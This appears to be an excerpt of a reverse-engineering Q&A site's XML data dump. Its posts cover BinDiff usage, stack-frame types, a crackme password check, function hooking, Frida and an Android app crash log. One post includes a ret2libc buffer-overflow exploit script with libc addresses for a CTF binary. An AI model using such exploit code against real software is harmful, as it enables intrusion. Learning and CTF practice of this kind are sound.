&lt;code&gt;secondary.BinExport&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the command-line, run the BinDiff engine with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bindiff primary.BinExport secondary.BinExport&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will create a file &lt;code&gt;primary_vs_secondary.BinDiff&lt;/code&gt; in the current&#xA;directory. The &lt;code&gt;bindiff&lt;/code&gt; command should be in your system path.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch the BinDiff UI, either via &lt;code&gt;bindiff --ui&lt;/code&gt; or using the launcher for&#xA;your operating system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new workspace or open an existing one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;code&gt;Diffs&lt;/code&gt;|&lt;code&gt;Add Existing Diff...&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;code&gt;Choose Diff&lt;/code&gt;, select the &lt;code&gt;primary_vs_secondary.BinDiff&lt;/code&gt; created in&#xA;step 2.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;code&gt;OK&lt;/code&gt;, followed by &lt;code&gt;Add&lt;/code&gt;. The diff is now shown in the tree view on the&#xA;left and can be opened by double-clicking it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use BinDiff normally to display the call graph or flow graphs of matched&#xA;functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Open Source&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally, the BinExport extension (and also the IDA Pro plugin) is open source and available &lt;a href=&quot;https://github.com/google/binexport&quot; rel=&quot;noreferrer&quot;&gt;on GitHub&lt;/a&gt;. The &lt;code&gt;v11&lt;/code&gt; tag corresponds to BinDiff 6.&lt;/p&gt;&#xA;" OwnerUserId="14043" LastActivityDate="2020-04-06T21:59:46.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24637" PostTypeId="1" AcceptedAnswerId="24643" CreationDate="2020-04-07T03:52:47.227" Score="0" ViewCount="52" Body="&lt;p&gt;While reading &lt;a href=&quot;https://link.springer.com/article/10.1134/S0361768809020066&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; paper on type recovery from executables, I came across following paragraph:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is worth noting that the domain of parameters of a function can be&#xA;  considered as a structure placed on the stack; in this case, the&#xA;  register %ebp points to the beginning of this structure.&#xA;  For that reason, the automatic detection of the structured types&#xA;  located at the stack (local variables and function parameters of a&#xA;  structured type) is very complicated and is not considered in this&#xA;  paper.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And they mentioned that they don't consider such structures in their analysis. Do they simply mean programs like these?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;struct P&#xA;{&#xA;  int a;&#xA;  int b;&#xA;};&#xA;&#xA;int main()&#xA;{&#xA;  struct P p, *pp;&#xA;  pp = &amp;amp;p;&#xA;  pp-&amp;gt;a = 4;&#xA;  printf(&quot;%d\n&quot;, pp-&amp;gt;a);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or is there any other way which resonates their statement?&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-04-07T12:36:56.653" Title="structures defined on stack?" Tags="|decompilation|type-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24638" PostTypeId="1" CreationDate="2020-04-07T05:04:29.893" Score="2" ViewCount="841" Body="&lt;p&gt;I'm currently learning to do some basic reverse engineering of binary files using Cutter. The program i'm struggling on test if the password entered as argument is correct, if not, return an error message. I have some serious gap in assembly and I can't figure out the password on this one. I've worked on it for some times and arrived at a point where i'm stuck..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the decompiled code, the test of the password happend during the while/if iterations so what's before is just to give some contex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined4 main(int param_1,int param_2){&#xA;    undefined4 uVar1;&#xA;    size_t sVar2;&#xA;    undefined4 local_21;&#xA;    undefined4 local_1d;&#xA;    undefined local_19;&#xA;    char *local_18;&#xA;    int local_14;&#xA;    undefined4 *local_10;&#xA;&#xA;    local_10 = &amp;amp;param_1;&#xA;    local_14 = 0;&#xA;    if (param_1 == 2) {&#xA;          local_21 = 0x776f7264;&#xA;          local_1d = 0x70617373;&#xA;          local_19 = 0;&#xA;          local_18 = *(char **)(param_2 + 4);&#xA;          sVar2 = strlen(local_18);&#xA;          if (sVar2 &amp;lt; 8) {&#xA;                uVar1 = 0xffffffff;&#xA;          }&#xA;          else {&#xA;                while (local_14 &amp;lt; 8) {&#xA;                      if ((int)local_18[local_14] + 1 != (int)*(char                   &#xA;                          *)((int)&amp;amp;local_21 + local_14)) {&#xA;                              puts(&quot;Wrong password.&quot;);&#xA;                              return 0xffffffff;&#xA;                      }&#xA;                      local_14 = local_14 + 1;&#xA;                }&#xA;                puts(&quot;Access granted.&quot;);&#xA;                uVar1 = 0;&#xA;                }&#xA;          }&#xA;    else {&#xA;          puts(&quot;One and only one argument PLS.&quot;);&#xA;          uVar1 = 0xffffffff;&#xA;    }&#xA;    return uVar1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE 1, What I know from my guess and the help of others :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The program doesn't return any error message if the password given is less than 8 character. (If it is &gt;=8 it says that the password is incorrect). I do think that the password must be 8 character.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The password is probably in hexadecimal. Why do I think that ? the var used during the verification of the password (local_21 = 776f7264 = word) is exactly 8 characters and we do iterate 8 times in the verification.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's some kind of shift involved since we are testing (local_18[local_14] + 1) with local_18 the argument i entered and local_14 the iterator being incremented in the end of the while. From what I've been told that it will shift the password i enter and it need to be the same as (int)*(char *)((int)&amp;amp;local_21 + local_14)) but i can't figure out what is it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So If my though are correct, i need to find a 8 caracter Hexadecimal from which i'll shift the characters (remplace b by a for example) to match what i'm trying to translate &quot; (int)*(char *)((int)&amp;amp;local_21 + local_14)) &quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find out if I'm right..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2, Here is a screen of &lt;a href=&quot;https://i.stack.imgur.com/zwm1o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;the assembly tree&lt;/a&gt; and the &lt;a href=&quot;https://i.stack.imgur.com/XbOxX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;while section zoomed in&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also commented it below but as you can see there's some section where I just can't understand what's happening :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VARS : &#xA;local_21 = 0x776f7264 ; (String) word used in password comparaison&#xA;local_1d = 0x70617373 ;(String) pass but unused&#xA;local_14 = 0 ;iterator&#xA;local_18 = argv[1] (it's the string given as an argument, let's &#xA;           assume i've entered &quot;examples&quot;)&#xA;&#xA;- mov edx, dword [local_14] --&amp;gt;  load the value of local_14 into edx &#xA;                                 local_14 = 0&#xA;&#xA;- mov eax, dword[local_18] --&amp;gt; load the function argument into the &#xA;                               register &#xA;                               local_18 = examples&#xA;&#xA;&#xA;- add eax, edx --&amp;gt; add the value 0 to our password (does it means we &#xA;                   add 0 to the address of our input or directly to &#xA;                   the input ?)&#xA;&#xA;- movzx eax, byte[eax] --&amp;gt; get the first character in eax (is he &#xA;                           taking the hexa character 7 ?&#xA;&#xA;- movsx eax, al --&amp;gt; ?&#xA;&#xA;- lea ecx, [eax + 1] --&amp;gt; load the address of [eax+1] into eax (don't &#xA;                         know what is in eax+1..)&#xA;&#xA;- lea edx, [local_21] --&amp;gt; load the address of local_21 in edx&#xA;                          it is 0x776f7264 so what does it stock ? Do &#xA;                          I considerer this as a value or as an &#xA;                          address?&#xA;&#xA;- mov eax, dword[local_14] --&amp;gt; load the value of local_14 (0) into &#xA;                             eax, so 0x0 ?&#xA;&#xA;- add eax, edx -&amp;gt; we add local_14 (0) to eax, so do we have 0x776f7264&#xA;&#xA;- movzx eax, byte[eax] --&amp;gt; exact same thing as before.&#xA;&#xA;- movsx eax, al --&amp;gt; same as before&#xA;&#xA;- cmp ecx, eax --&amp;gt; we compare ecx et eax (eax=?, ecx = [eax+1] = ?)&#xA;&#xA;- add dword [local_14], 1 --&amp;gt; we add 1 to (local_14), it became 1 (our &#xA;                            iterator)&#xA;&#xA;- cmp dword [local-14], 7 --&amp;gt; we compare our iterator with with 7, if &#xA;                              it is lower we continue &#xA;&#xA;- we start again from the start &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have trouble understand if 0x776f7264 is actually an address or just the value in eax. So when i add 1, what is actually happend (2,3 etc..) ? Do i had this directly to the hexa or do I consider adding it to a character ?&#xA;Like 77 = w so i add 1 to w and it gives me x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really sorry if i have poorly explained my problem and will do my best to answer any questions regarding my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot and have a nice day !&lt;/p&gt;&#xA;" OwnerUserId="32687" LastActivityDate="2020-04-07T11:01:08.630" Title="Find password in a c compiled binary file" Tags="|assembly|decompilation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24639" PostTypeId="2" ParentId="24632" CreationDate="2020-04-07T08:01:13.907" Score="1" Body="&lt;p&gt;I have found the solution to this problem, which is quite simple. I got confused with the hooked function signature and the &lt;code&gt;__fastcall&lt;/code&gt; trick to get a non member function to work with the &lt;code&gt;__thiscall&lt;/code&gt; convention. In my initial post, the two first arguments in the function signatures are the one passed using &lt;code&gt;ecx&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt;, but I forgot about one of the pointer passed using the stack. The correct function definition is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int __fastcall testhook(LPVOID* pThis, void* _EDX, LPVOID* object, LPVOID* object2, DWORD hp, BOOL self)&#xA;{&#xA;    std::cout &amp;lt;&amp;lt; &quot;Hooked&quot;  &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    func_type originalFunc = (func_type)hookaddr;&#xA;&#xA;    return originalFunc(pThis, object, object2, hp, self);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the callee is responsible for cleaning the stack, providing an incorrect number of parameters lead to a stack corruption (in my case, one of the parameter was still on the stack after my function returns).&lt;/p&gt;&#xA;" OwnerUserId="19817" LastActivityDate="2020-04-07T08:01:13.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24641" PostTypeId="2" ParentId="24638" CreationDate="2020-04-07T11:01:08.630" Score="2" Body="&lt;p&gt;Some of your observations are correct and some are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's analyze that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;local_14&lt;/code&gt; is indeed a loop iterator, so the while loop is in fact a &lt;code&gt;for&lt;/code&gt; loop that runs 8 iterations. You can try renaming that variable to &lt;code&gt;i&lt;/code&gt; for better clarity.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;local_18&lt;/code&gt; is the user input, which like you observed, should be in the length of 8; otherwise the check fails.&lt;/li&gt;&#xA;&lt;li&gt;The decompiler cannot infer what &lt;code&gt;local_21&lt;/code&gt; is and shows it as an integer. However, we can see that &lt;code&gt;local_18&lt;/code&gt; is compared to it (&lt;code&gt;local_14&lt;/code&gt; used as the index to that buffer), so it might be a &lt;code&gt;char&lt;/code&gt; buffer after all. Additionally, we know that the comparison of &lt;code&gt;local_18&lt;/code&gt; and &lt;code&gt;local_21&lt;/code&gt; is 8 bytes long - so what is going on? Decompilation can be misleading sometime, and this is an example for that: note that &lt;code&gt;local_21&lt;/code&gt; and &lt;code&gt;local_1d&lt;/code&gt; are consecutive on the stack (which I remind you, grows backwards) so they are in fact a single &lt;code&gt;char&lt;/code&gt; buffer in a size of 8. The compiler initializes them both as integers, because this is the optimized way to do so. Note that &lt;code&gt;0x776f7264&lt;/code&gt; and &lt;code&gt;0x70617373&lt;/code&gt; are ASCII strings, an observation that comes with the experience in reverse engineering. This is just a simple 'memcmp' in a size of 8;  it is hard to see that because of the excessive casting there.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BTW, the password is not hexadecimal, this is just how data is stored in memory. The interpretation of the values are context-depended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="26722" LastActivityDate="2020-04-07T11:01:08.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24642" PostTypeId="1" CreationDate="2020-04-07T12:06:49.353" Score="1" ViewCount="1065" Body="&lt;p&gt;I'm trying to figure out, if it's appropriate to use &lt;code&gt;frida-server&lt;/code&gt; latest version (&lt;code&gt;12.8.x&lt;/code&gt; at the moment of writing this question), on any Android version (even the old ones like KitKat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this question, because Android apps keep crashing, so I'm trying to figure out if the problem is Frida version.&lt;/p&gt;&#xA;" OwnerUserId="25947" LastActivityDate="2021-01-25T14:15:36.290" Title="Is frida-server latest version compatible with old Android versions" Tags="|dynamic-analysis|frida|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24643" PostTypeId="2" ParentId="24637" CreationDate="2020-04-07T12:36:56.653" Score="2" Body="&lt;p&gt;Consider a function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int func1(int x)&#xA;{&#xA;  int y;&#xA;  char buf[16];&#xA;  y = x;&#xA;  buf[0]=x&amp;amp;0xff;&#xA;  return y+buf[0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the compiler uses a naive variable allocation algorithm and does not try to use registers for variables, it will likely lay out the variables sequentially in the stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;off|&#xA;00 | y dd ?&#xA;04 | buf db 16 dup ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which can be thought of as a structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; struct frame_func1&#xA; {&#xA;    int y;&#xA;    char buf[16];&#xA; };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In reality, the &quot;base&quot; of the structure will not be &lt;code&gt;ebp&lt;/code&gt;, since usually it points between local variables and incoming arguments, i.e &quot;after&quot; this pseudo-structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure why the paper goes to the conclusion mentioned in your quote. Maybe the authors mean that detecting local variables which are structures would be akin to detecting structure members in a structure an thus out of scope? Not sure....&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-07T12:36:56.653" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24644" PostTypeId="1" CreationDate="2020-04-07T12:51:56.027" Score="0" ViewCount="328" Body="&lt;p&gt;I ran into this binary at a CTF :&#xA;&lt;a href=&quot;https://github.com/auehc/AUCTF-2020/tree/master/Pwn/House%20of%20Madness&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/auehc/AUCTF-2020/tree/master/Pwn/House%20of%20Madness&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first tried to exploit it and get a shell using ret2libc technique, however I didn't succeed.&#xA;I know it is not the intended way to solve the challenge, but after the CTF, I am now focusing&#xA;on achieving ret2libc on this binary. And I am now stuck and need help :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source is in &lt;code&gt;challenge.c&lt;/code&gt;, and the compiled version is &lt;code&gt;challenge&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASLR is disabled for the challenge, and on my computer too :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ &amp;gt; cat /proc/sys/kernel/randomize_va_space&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible to trigger a buffer overflow using this input : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;2\n4\n3\nStephen\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;plus some padding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote an exploit to try to pop a shell (without success) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python2&#xA;&#xA;import struct&#xA;&#xA;valid_input = &quot;2\n4\n3\nStephen\n&quot;&#xA;pad = &quot;aaaaaaaa2Aa3Aa4Aa5Aa6Aa7aaaa&quot;&#xA;binsh = struct.pack(&quot;I&quot;, 0xf7f4caaa)&#xA;system = struct.pack(&quot;I&quot;, 0xf7e0c9e0)&#xA;exit = struct.pack(&quot;&amp;lt;I&quot;, 0xf7dffa60)&#xA;&#xA;exploit = valid_input \&#xA;        + pad \&#xA;        + system \&#xA;        + exit \&#xA;        + binsh&#xA;print exploit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I will tell you why I don't understand why it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i break on the &lt;code&gt;ret&lt;/code&gt; in the function where I triggered the buffer overflow, the stack looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x56556684]&amp;gt; pxw 16 @esp&#xA;0xffffd23c  0xf7e0c9e0 0xf7dffa60 0xf7f4caaa 0xffffd200  ....`...........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, you can see that first there is &lt;code&gt;0xf7e0c9e0&lt;/code&gt;, then &lt;code&gt;0xf7dffa60&lt;/code&gt;, then &lt;code&gt;0xf7f4caaa&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xf7e0c9e0&lt;/code&gt; is the address of system in the libc :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x56556684]&amp;gt; dmi libc system&#xA;257   0x0012a2c0 0xf7ef82c0 GLOBAL FUNC   102       svcerr_systemerr&#xA;658   0x0003e9e0 0xf7e0c9e0 GLOBAL FUNC   55        __libc_system&#xA;1525  0x0003e9e0 0xf7e0c9e0 WEAK   FUNC   55        system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xf7dffa60&lt;/code&gt; is the address of exit, altough it shouldn't be needed, if I popped the shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xf7f4caaa&lt;/code&gt; is the address of the string &lt;code&gt;/bin/sh\x00&lt;/code&gt; in the libc :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x56556684]&amp;gt; px10@0xf7f4caaa&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0xf7f4caaa  2f62 696e 2f73 6800 6578                 /bin/sh.ex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am stuck there, and can't figure out what is happening.. If anyone can point me in the right direction, I would be very happy :)&lt;/p&gt;&#xA;" OwnerUserId="19118" LastActivityDate="2020-04-07T12:51:56.027" Title="exploiting a binary using ret2libc" Tags="|radare2|exploit|buffer-overflow|stack|libc|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24645" PostTypeId="2" ParentId="24633" CreationDate="2020-04-07T13:25:22.240" Score="3" Body="&lt;p&gt;You noted that &lt;code&gt;Decompiler Parameter ID&lt;/code&gt; fixes the discrepancy, but I suspect that the relevant logic is the one behind the context menu action &lt;code&gt;Commit Params/Return&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ghidra Advanced Class slides state:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Decompiler Parameter ID&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Decompiler Parameter ID Analyzer (Analysis → One&#xA;  Shot → Decompiler Parameter ID) uses the decompiler&#xA;  and an exploration of the call tree to determine parameter,&#xA;  return type, and calling convention information about&#xA;  functions in a program. This analyzer can be quite useful&#xA;  when you have some rich type information, such as known&#xA;  types from library calls. However, if you run this analyzer too&#xA;  early or before fixing problems, you can end up propagating&#xA;  bad information all over the program.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note: &lt;strong&gt;this analyzer will commit the signature of each function.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(emphasis mine)&lt;/p&gt;&#xA;" OwnerUserId="31435" LastEditorUserId="31435" LastEditDate="2020-05-10T21:34:34.300" LastActivityDate="2020-05-10T21:34:34.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24646" PostTypeId="1" CreationDate="2020-04-07T14:41:31.643" Score="0" ViewCount="1440" Body="&lt;p&gt;Installed an application from &lt;strong&gt;google playstore&lt;/strong&gt; and then transferred to it my &lt;strong&gt;computer&lt;/strong&gt; to apparently edit it and without any changes I made to it then I tried to install it through &lt;strong&gt;ADB&lt;/strong&gt;, well the installation was fine but When I tried to start the &lt;strong&gt;application&lt;/strong&gt; it just crashes. also tried to clear app data to see any solution but it didn't work! and when I look into the logcat I find the following which is almost informative except this vague error  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;04-02 17:15:29.095  3053  3071 E AndroidRuntime: Process: com.ibsbankmobile, PID: 3053&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;all other logcat is below:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04-02 17:15:12.237  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{56c9329 com.ibsbankmobile}&#xA;04-02 17:15:12.237  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{56c9329 com.ibsbankmobile}&#xA;04-02 17:15:16.415  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{5d8cfbb com.ibsbankmobile}&#xA;04-02 17:15:16.415  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{5d8cfbb com.ibsbankmobile}&#xA;04-02 17:15:18.871  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{95d4782 com.ibsbankmobile}&#xA;04-02 17:15:18.874  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{95d4782 com.ibsbankmobile}&#xA;04-02 17:15:21.988  1865  1865 I AppStorageSettings: Clearing user data for package : com.ibsbankmobile&#xA;04-02 17:15:21.996  2526 27990 I ActivityManager: Force stopping com.ibsbankmobile appid=10298 user=0: clear data&#xA;04-02 17:15:22.049  2526  2558 I ActivityManager: Force stopping com.ibsbankmobile appid=10298 user=-1: clearApplicationUserData&#xA;04-02 17:15:22.096  2526  2609 V ActivityManager: Broadcast: Intent { act=android.intent.action.PACKAGE_RESTARTED dat=package:com.ibsbankmobile flg=0x10 (has extras) } ordered=false userid=0 callerApp=null&#xA;04-02 17:15:22.097  2526  2609 V ActivityManager: Broadcast: Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } ordered=false userid=0 callerApp=null&#xA;04-02 17:15:22.102  1865  1865 I AppStorageSettings: Cleared user data for package : com.ibsbankmobile&#xA;04-02 17:15:22.124  3032  3032 I GeofencerStateMachine: removeGeofences: removeRequest=RemoveGeofencingRequest[REMOVE_ALL packageName=com.ibsbankmobile]&#xA;04-02 17:15:22.142  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{901be7d com.ibsbankmobile}&#xA;04-02 17:15:22.143  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{901be7d com.ibsbankmobile}&#xA;04-02 17:15:22.179  2526  2558 D ProcessManager.AS: *** Launch app com.android.chrome/10041 for broadcast Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } from android/1000&#xA;04-02 17:15:22.928  2863  2863 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.android.chrome/org.chromium.chrome.browser.browserservices.ClientAppBroadcastReceiver (has extras) }, receiver=org.chromium.chrome.browser.browserservices.ClientAppBroadcastReceiver@ae98dda&#xA;04-02 17:15:22.944  2526  2853 D ProcessManager.AS: *** Launch app com.android.documentsui/10009 for broadcast Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } from android/1000&#xA;04-02 17:15:23.084  2885  2885 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.android.documentsui/.PackageReceiver (has extras) }, receiver=com.android.documentsui.PackageReceiver@c1db393&#xA;04-02 17:15:23.101  2526  3601 D ProcessManager.AS: *** Launch app com.google.android.apps.photos/10070 for broadcast Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } from android/1000&#xA;04-02 17:15:23.832  2902  2902 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.google.android.apps.photos/com.google.android.libraries.social.mediastoresync.reset.impl.MediaStoreClearedReceiver (has extras) }, receiver=com.google.android.libraries.social.mediastoresync.reset.impl.MediaStoreClearedReceiver@ef8af&#xA;04-02 17:15:23.858  3032  3032 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.google.android.gms/.chimera.GmsIntentOperationService$PersistentTrustedReceiver (has extras) }, receiver=com.google.android.gms.chimera.GmsIntentOperationService$PersistentTrustedReceiver@b04b693&#xA;04-02 17:15:23.955  3739  3739 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.transsion.phonemanager/com.cyin.himgr.applicationmanager.receiver.AppReceiver (has extras) }, receiver=com.cyin.himgr.applicationmanager.receiver.AppReceiver@1aa53d7&#xA;04-02 17:15:23.968  3739  3739 D HiManager_log: HiManager_HiManager_ServerAppReceiver: setting clean data pkg: com.ibsbankmobile&#xA;04-02 17:15:23.982  2526 27996 D PowerManagerNotifier: onWakeLockChanging: flags=1, tag=&quot;Icing&quot;, packageName=com.google.android.gms, ownerUid=10015, ownerPid=3381, workSource=WorkSource{10015 com.google.android.gms, 10284 com.ibsbankmobile}&#xA;04-02 17:15:23.987  2526  2548 D PowerManagerNotifier: onWakeLockChanging: flags=1, tag=&quot;Icing&quot;, packageName=com.google.android.gms, ownerUid=10015, ownerPid=3381, workSource=WorkSource{10284 com.ibsbankmobile}&#xA;04-02 17:15:23.999  3381  2013 I Icing   : doRemovePackageData com.ibsbankmobile&#xA;04-02 17:15:24.037  2418  2418 V AlarmClock: AlarmBroadcastReceiver recevied pkgName = com.ibsbankmobile&#xA;04-02 17:15:24.126  2526  3599 D PowerManagerNotifier: onWakeLockChanging: flags=1, tag=&quot;Icing&quot;, packageName=com.google.android.gms, ownerUid=10015, ownerPid=3381, workSource=WorkSource{10015 com.google.android.gms, 10284 com.ibsbankmobile}&#xA;04-02 17:15:28.690  2526  3599 I ActivityManager: START u0 {act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10200000 cmp=com.ibsbankmobile/.MainActivity bnds=[12,234][276,492] (has extras)} from uid 10022 on display 0&#xA;04-02 17:15:28.700  2526  3599 V WindowManager: Set focused app to: AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}} old focus=AppWindowToken{fb2d555 token=Token{ccee73f ActivityRecord{6e6b75e u0 com.transsion.hilauncher/com.android.launcher3.Launcher t27849}}} moveFocusNow=true&#xA;04-02 17:15:28.700  2526  3599 V WindowManager: findFocusedWindow: Reached focused app=AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}}&#xA;04-02 17:15:28.719  2526  2587 D ViewRootImpl[ibsbankmobile]: hardware acceleration is disabled, fakeHwAccelerated = true, HardwareRenderer.sRendererDisabled = false, forceHwAccelerated = false, 